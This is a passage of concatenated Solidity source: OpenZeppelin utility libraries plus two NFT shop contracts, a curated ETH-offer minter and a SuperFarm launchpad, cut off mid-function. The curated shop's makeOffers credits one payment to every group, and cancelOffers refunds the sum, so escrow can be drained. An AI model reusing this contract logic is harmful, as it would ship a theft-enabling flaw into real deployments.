* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A simple Shop contract for selling ERC-1155s for Ether via direct
minting.
@author Tim Clancy
This contract is a limited subset of the Shop1155 contract designed to mint
items directly to the user upon purchase. This shop additionally requires the
owner to directly approve purchase requests from prospective buyers.
*/
contract ShopEtherMinter1155Curated is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155 public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// The Shop's inventory of item groups for sale.
uint256[] public inventory;
/// The Shop's price for each item group.
mapping (uint256 => uint256) public prices;
/// A mapping of each item group ID to an array of addresses with offers.
mapping (uint256 => address[]) public bidders;
/// A mapping for each item group ID to a mapping of address-price offers.
mapping (uint256 => mapping (address => uint256)) public offers;
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155 item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
*/
constructor(Fee1155 _item, FeeOwner _feeOwner) public {
item = _item;
feeOwner = _feeOwner;
}
/**
Returns the length of the inventory array.
@return the length of the inventory array.
*/
function getInventoryCount() external view returns (uint256) {
return inventory.length;
}
/**
Returns the length of the bidder array on an item group.
@return the length of the bidder array on an item group.
*/
function getBidderCount(uint256 groupId) external view returns (uint256) {
return bidders[groupId].length;
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _groupIds The item group IDs to list for sale in this shop.
@param _prices The corresponding purchase price to mint an item of each group.
*/
function listItems(uint256[] calldata _groupIds, uint256[] calldata _prices) external onlyOwner {
require(_groupIds.length > 0,
"You must list at least one item.");
require(_groupIds.length == _prices.length,
"Items length cannot be mismatched with prices length.");
// Iterate through every specified item group to list items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
uint256 price = _prices[i];
inventory.push(groupId);
prices[groupId] = price;
}
}
/**
Allows the Shop owner to remove items from sale.
@param _groupIds The group IDs currently listed in the shop to take off sale.
*/
function removeItems(uint256[] calldata _groupIds) external onlyOwner {
require(_groupIds.length > 0,
"You must remove at least one item.");
// Iterate through every specified item group to remove items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
prices[groupId] = 0;
}
}
/**
Allows any user to place an offer to purchase an item group from this Shop.
For this shop, users place an offer automatically at the price set by the
Shop owner. This function takes a user's Ether into escrow for the offer.
@param _itemGroupIds An array of (unique) item groups for a user to place an offer for.
*/
function makeOffers(uint256[] calldata _itemGroupIds) public nonReentrant payable {
require(_itemGroupIds.length > 0,
"You must make an offer for at least one item group.");
// Iterate through every specified item to make an offer on items.
for (uint256 i = 0; i < _itemGroupIds.length; i++) {
uint256 groupId = _itemGroupIds[i];
uint256 price = prices[groupId];
require(price > 0,
"You cannot make an offer for an item that is not listed.");
// Record an offer for this item.
bidders[groupId].push(msg.sender);
offers[groupId][msg.sender] = msg.value;
}
}
/**
Allows any user to cancel an offer for items from this Shop. This function
returns a user's Ether if there is any in escrow for the item group.
@param _itemGroupIds An array of (unique) item groups for a user to cancel an offer for.
*/
function cancelOffers(uint256[] calldata _itemGroupIds) public nonReentrant {
require(_itemGroupIds.length > 0,
"You must cancel an offer for at least one item group.");
// Iterate through every specified item to cancel offers on items.
uint256 returnedOfferAmount = 0;
for (uint256 i = 0; i < _itemGroupIds.length; i++) {
uint256 groupId = _itemGroupIds[i];
uint256 offeredValue = offers[groupId][msg.sender];
returnedOfferAmount = returnedOfferAmount.add(offeredValue);
offers[groupId][msg.sender] = 0;
}
// Return the user's escrowed offer Ether.
(bool success, ) = payable(msg.sender).call{ value: returnedOfferAmount }("");
require(success, "Returning canceled offer amount failed.");
}
/**
Allows the Shop owner to accept any valid offer from a user. Once the Shop
owner accepts the offer, the Ether is distributed according to fees and the
item is minted to the user.
@param _groupIds The item group IDs to process offers for.
@param _bidders The specific bidder for each item group ID to accept.
@param _itemIds The specific item ID within the group to mint for the bidder.
@param _amounts The amount of specific item to mint for the bidder.
*/
function acceptOffers(uint256[] calldata _groupIds, address[] calldata _bidders, uint256[] calldata _itemIds, uint256[] calldata _amounts) public nonReentrant onlyOwner {
require(_groupIds.length > 0,
"You must accept an offer for at least one item.");
require(_groupIds.length == _bidders.length,
"Group IDs length cannot be mismatched with bidders length.");
require(_groupIds.length == _itemIds.length,
"Group IDs length cannot be mismatched with item IDs length.");
require(_groupIds.length == _amounts.length,
"Group IDs length cannot be mismatched with item amounts length.");
// Accept all offers and disperse fees accordingly.
uint256 feePercent = feeOwner.fee();
uint256 itemRoyaltyPercent = item.feeOwner().fee();
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
address bidder = _bidders[i];
uint256 itemId = _itemIds[i];
uint256 amount = _amounts[i];
// Verify that the offer being accepted is still valid.
uint256 price = prices[groupId];
require(price > 0,
"You cannot accept an offer for an item that is not listed.");
uint256 offeredPrice = offers[groupId][bidder];
require(offeredPrice >= price,
"You cannot accept an offer for less than the current asking price.");
// Split fees for this purchase.
uint256 feeValue = offeredPrice.mul(feePercent).div(100000);
uint256 royaltyValue = offeredPrice.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: offeredPrice.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
// Mint the item.
item.mint(bidder, itemId, amount, "");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC1155Receiver.sol";
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC1155Receiver {
function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155Receiver.sol";
import "../../introspection/ERC165.sol";
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() internal {
_registerInterface(
ERC1155Receiver(address(0)).onERC1155Received.selector ^
ERC1155Receiver(address(0)).onERC1155BatchReceived.selector
);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155NFTLockable.sol";
import "./Staker.sol";
/**
@title A Shop contract for selling NFTs via direct minting through particular
pools with specific participation requirements.
@author Tim Clancy
This launchpad contract is specifically optimized for SuperFarm direct use.
*/
contract ShopPlatformLaunchpad1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 2;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155NFTLockable public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// A user-specified Staker contract to spend user points on.
Staker[] public stakers;
/**
A limit on the number of items that a particular address may purchase across
any number of pools in the launchpad.
*/
uint256 public globalPurchaseLimit;
/// A mapping of addresses to the number of items each has purchased globally.
mapping (address => uint256) public globalPurchaseCounts;
/// The address of the orignal owner of the item contract.
address public originalOwner;
/// Whether ownership is locked to disable clawback.
bool public ownershipLocked;
/// A mapping of item group IDs to their next available issue number minus one.
mapping (uint256 => uint256) public nextItemIssues;
/// The next available ID to be assumed by the next whitelist added.
uint256 public nextWhitelistId;
/**
A mapping of whitelist IDs to specific Whitelist elements. Whitelists may be
shared between pools via specifying their ID in a pool requirement.
*/
mapping (uint256 => Whitelist) public whitelists;
/// The next available ID to be assumed by the next pool added.
uint256 public nextPoolId;
/// A mapping of pool IDs to pools.
mapping (uint256 => Pool) public pools;
/**
This struct is a source of mapping-free input to the `addPool` function.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
*/
struct PoolInput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
}
/**
This struct tracks information about a single item pool in the Shop.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param purchaseCounts A mapping of addresses to the number of items each has purchased from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemGroups An array of all item groups currently present in this pool.
@param currentPoolVersion A version number hashed with item group IDs before
being used as keys to other mappings. This supports efficient
invalidation of stale mappings.
@param itemCaps A mapping of item group IDs to the maximum number this pool is allowed to mint.
@param itemMinted A mapping of item group IDs to the number this pool has currently minted.
@param itemPricesLength A mapping of item group IDs to the number of price assets available to purchase with.
@param itemPrices A mapping of item group IDs to a mapping of available PricePair assets available to purchase with.
*/
struct Pool {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
mapping (address => uint256) purchaseCounts;
PoolRequirement requirement;
uint256[] itemGroups;
uint256 currentPoolVersion;
mapping (bytes32 => uint256) itemCaps;
mapping (bytes32 => uint256) itemMinted;
mapping (bytes32 => uint256) itemPricesLength;
mapping (bytes32 => mapping (uint256 => PricePair)) itemPrices;
}
/**
This struct tracks information about a prerequisite for a user to
participate in a pool.
@param requiredType
A sentinel value for the specific type of asset being required.
0 = a pool which requires no specific assets to participate.
1 = an ERC-20 token, see `requiredAsset`.
2 = an NFT item, see `requiredAsset`.
@param requiredAsset
Some more specific information about the asset to require.
If the `requiredType` is 1, we use this address to find the ERC-20
token that we should be specifically requiring holdings of.
If the `requiredType` is 2, we use this address to find the item
contract that we should be specifically requiring holdings of.
@param requiredAmount The amount of the specified `requiredAsset` required.
@param whitelistId
The ID of an address whitelist to restrict participants in this pool. To
participate, a purchaser must have their address present in the
corresponding whitelist. Other requirements from `requiredType` apply.
An ID of 0 is a sentinel value for no whitelist: a public pool.
*/
struct PoolRequirement {
uint256 requiredType;
address requiredAsset;
uint256 requiredAmount;
uint256 whitelistId;
}
/**
This struct tracks information about a single asset with associated price
that an item is being sold in the shop for.
@param assetType A sentinel value for the specific type of asset being used.
0 = non-transferrable points from a Staker; see `asset`.
1 = Ether.
2 = an ERC-20 token, see `asset`.
@param asset Some more specific information about the asset to charge in.
If the `assetType` is 0, we convert the given address to an
integer index for finding a specific Staker from `stakers`.
If the `assetType` is 1, we ignore this field.
If the `assetType` is 2, we use this address to find the ERC-20
token that we should be specifically charging with.
@param price The amount of the specified `assetType` and `asset` to charge.
*/
struct PricePair {
uint256 assetType;
address asset;
uint256 price;
}
/**
This struct is a source of mapping-free input to the `addWhitelist` function.
@param expiryBlock A block number after which this whitelist is automatically considered inactive, no matter the value of `isActive`.
@param isActive Whether or not this whitelist is actively restricting purchases in blocks before `expiryBlock`.
@param addresses An array of addresses to whitelist for participation in a purchase.
*/
struct WhitelistInput {
uint256 expiryBlock;
bool isActive;
address[] addresses;
}
/**
This struct tracks information about a single whitelist known to this
launchpad. Whitelists may be shared across potentially-multiple item pools.
@param expiryBlock A block number after which this whitelist is automatically considered inactive, no matter the value of `isActive`.
@param isActive Whether or not this whitelist is actively restricting purchases in blocks before `expiryBlock`.
@param currentWhitelistVersion A version number hashed with item group IDs before being used as keys to other mappings. This supports efficient invalidation of stale mappings.
@param addresses A mapping of hashed addresses to a flag indicating whether this whitelist allows the address to participate in a purchase.
*/
struct Whitelist {
uint256 expiryBlock;
bool isActive;
uint256 currentWhitelistVersion;
mapping (bytes32 => bool) addresses;
}
/**
This struct tracks information about a single item being sold in a pool.
@param groupId The group ID of the specific NFT in the collection being sold by a pool.
@param cap The maximum number of items that a pool may mint of the specified `groupId`.
@param minted The number of items that a pool has currently minted of the specified `groupId`.
@param prices The PricePair options that may be used to purchase this item from its pool.
*/
struct PoolItem {
uint256 groupId;
uint256 cap;
uint256 minted;
PricePair[] prices;
}
/**
This struct contains the information gleaned from the `getPool` and
`getPools` functions; it represents a single pool's data.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemMetadataUri The metadata URI of the item collection being sold by this launchpad.
@param items An array of PoolItems representing each item for sale in the pool.
*/
struct PoolOutput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
string itemMetadataUri;
PoolItem[] items;
}
/**
This struct contains the information gleaned from the `getPool` and
`getPools` functions; it represents a single pool's data. It also includes
additional information relevant to a user's address lookup.
@param name A name for the pool.
@param startBlock The first block where this pool begins allowing purchases.
@param endBlock The final block where this pool allows purchases.
@param purchaseLimit The maximum number of items a single address may purchase from this pool.
@param requirement A PoolRequirement requisite for users who want to participate in this pool.
@param itemMetadataUri The metadata URI of the item collection being sold by this launchpad.
@param items An array of PoolItems representing each item for sale in the pool.
@param purchaseCount The amount of items purchased from this pool by the specified address.
@param whitelistStatus Whether or not the specified address is whitelisted for this pool.
*/
struct PoolAddressOutput {
string name;
uint256 startBlock;
uint256 endBlock;
uint256 purchaseLimit;
PoolRequirement requirement;
string itemMetadataUri;
PoolItem[] items;
uint256 purchaseCount;
bool whitelistStatus;
}
/// An event to track the original item contract owner clawing back ownership.
event OwnershipClawback();
/// An event to track the original item contract owner locking future clawbacks.
event OwnershipLocked();
/// An event to track the complete replacement of a pool's data.
event PoolUpdated(uint256 poolId, PoolInput pool, uint256[] groupIds, uint256[] amounts, PricePair[][] pricePairs);
/// An event to track the complete replacement of addresses in a whitelist.
event WhitelistUpdated(uint256 whitelistId, address[] addresses);
/// An event to track the addition of addresses to a whitelist.
event WhitelistAddition(uint256 whitelistId, address[] addresses);
/// An event to track the removal of addresses from a whitelist.
event WhitelistRemoval(uint256 whitelistId, address[] addresses);
// An event to track activating or deactivating a whitelist.
event WhitelistActiveUpdate(uint256 whitelistId, bool isActive);
// An event to track the purchase of items from a pool.
event ItemPurchased(uint256 poolId, uint256[] itemIds, uint256 assetId, uint256[] amounts, address user);
/// @dev a modifier which allows only `originalOwner` to call a function.
modifier onlyOriginalOwner() {
require(originalOwner == _msgSender(),
"You are not the original owner of this contract.");
_;
}
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155NFTLockable item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
@param _stakers The addresses of any Stakers to permit spending points from.
@param _globalPurchaseLimit A global limit on the number of items that a
single address may purchase across all pools in the launchpad.
*/
constructor(Fee1155NFTLockable _item, FeeOwner _feeOwner, Staker[] memory _stakers, uint256 _globalPurchaseLimit) public {
item = _item;
feeOwner = _feeOwner;
stakers = _stakers;
globalPurchaseLimit = _globalPurchaseLimit;
nextWhitelistId = 1;
originalOwner = item.owner();
ownershipLocked = false;
}
/**
A function which allows the caller to retrieve information about specific
pools, the items for sale within, and the collection this launchpad uses.
@param poolIds An array of pool IDs to retrieve information about.
*/
function getPools(uint256[] calldata poolIds) external view returns (PoolOutput[] memory) {
PoolOutput[] memory poolOutputs = new PoolOutput[](poolIds.length);
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
// Process output for each pool.
PoolItem[] memory poolItems = new PoolItem[](pools[poolId].itemGroups.length);
for (uint256 j = 0; j < pools[poolId].itemGroups.length; j++) {
uint256 itemGroupId = pools[poolId].itemGroups[j];
bytes32 itemKey = keccak256(abi.encodePacked(pools[poolId].currentPoolVersion, itemGroupId));
// Parse each price the item is sold at.
PricePair[] memory itemPrices = new PricePair[](pools[poolId].itemPricesLength[itemKey]);
for (uint256 k = 0; k < pools[poolId].itemPricesLength[itemKey]; k++) {
itemPrices[k] = pools[poolId].itemPrices[itemKey][k]; // TODO: add staker addresses to getter.
}
// Track the item.
poolItems[j] = PoolItem({
groupId: itemGroupId,
cap: pools[poolId].itemCaps[itemKey],
minted: pools[poolId].itemMinted[itemKey],
prices: itemPrices
});
}
// Track the pool.
poolOutputs[i] = PoolOutput({
name: pools[poolId].name,
startBlock: pools[poolId].startBlock,
endBlock: pools[poolId].endBlock,
purchaseLimit: pools[poolId].purchaseLimit,
requirement: pools[poolId].requirement,
itemMetadataUri: item.metadataUri(),
items: poolItems
});
}
// Return the pools.
return poolOutputs;
}
/**
A function which allows the caller to retrieve the number of items specific
addresses have purchased from specific pools.
@param poolIds The IDs of the pools to check for addresses in `purchasers`.
@param purchasers The addresses to check the purchase counts for.
*/
function getPurchaseCounts(uint256[] calldata poolIds, address[] calldata purchasers) external view returns (uint256[][] memory) {
uint256[][] memory purchaseCounts;
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
for (uint256 j = 0; j < purchasers.length; j++) {
address purchaser = purchasers[j];
purchaseCounts[j][i] = pools[poolId].purchaseCounts[purchaser];
}
}
return purchaseCounts;
}
/**
A function which allows the caller to retrieve information about specific
pools, the items for sale within, and the collection this launchpad uses.
A provided address differentiates this function from `getPools`; the added
address enables this function to retrieve pool data as well as whitelisting
and purchase count details for the provided address.
@param poolIds An array of pool IDs to retrieve information about.
@param userAddress An address which enables this function to support additional relevant data lookups.
*/
function getPoolsWithAddress(uint256[] calldata poolIds, address userAddress) external view returns (PoolAddressOutput[] memory) {
PoolAddressOutput[] memory poolOutputs = new PoolAddressOutput[](poolIds.length);
for (uint256 i = 0; i < poolIds.length; i++) {
uint256 poolId = poolIds[i];
// Process output for each pool.
